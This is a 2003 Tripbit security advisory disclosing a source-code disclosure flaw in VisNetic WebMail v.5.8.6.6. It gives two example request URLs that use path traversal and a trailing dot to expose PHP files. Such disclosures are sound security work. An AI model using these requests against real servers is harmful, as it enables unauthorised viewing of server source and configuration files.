TA-2003-06 php-form-misconfiguration in VisNetic WebMail v.5.8.6.6
contributed by: rushjo
=========================================================================
Tripbit Security Advisory

TA-2003-06 php-form-misconfiguration in VisNetic WebMail v.5.8.6.6
=========================================================================


PROGRAM: VisNetic WebMail v.5.8.6.6
HOMEPAGE: http://www.deerfield.com
VULNERABLE VERSIONS: v.5.8.6.6
RISK: Medium
IMPACT: Unauthorized file viewing
RELEASE DATE: 2003-06


=========================================================================
TABLE OF CONTENTS
=========================================================================


1.............................................................DESCRIPTION
2.................................................................DETAILS
3...............................................................SOLUTIONS
4...........................................................VENDOR STATUS
5.................................................................CREDITS
6..............................................................DISCLAIMER
7..............................................................REFERENCES
8................................................................FEEDBACK


1. DESCRIPTION
=========================================================================

VisNetic MailServer: a multi-threaded, multiprocessor capable mail
server that supports the most widely used mail protocols including SMTP,
POP3, IMAP4, (including ACL) and LDAP. Each of these protocols can be
secured using SSL/TLS and it can accommodate unlimited domains and
accounts with built-in support for the VisNetic AntiVirus Plug-in.

VisNetic WebMail: a web-based mail system providing access to e-mail
using any web browser from


2. DETAILS
=========================================================================

There exists a bug in the VisNetic WebMail, which can be exploit to see
the php source code of any file, by adding a "dot" behing the to viewing
site.

Example:

http://host:32000/mail/admin/../include.html.
http://host:32000/mail/admin/../settings.html.


3. SOLUTIONS
=========================================================================

No solution for the moment.


4. VENDOR STATUS
=========================================================================

The vendor has reportedly been notified and is working on an solution.


5. CREDITS
=========================================================================

Discovered by posidron


6. DISLAIMER
=========================================================================

The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event
shall the author be liable for any damages whatsoever arising out of
or in connection with the use or spread of this information. Any use
of this information is at the user's own risk.


7. REFERENCES
=========================================================================

http://www.tripbit.org


8. FEEDBACK
=========================================================================

Please send suggestions, updates, and comments to:


Tripbit Security Advisory

Site: http://www.tripbit.org
Mail: rushjo@tripbit.org
       posidron@tripbit.org
       tec@tripbit.org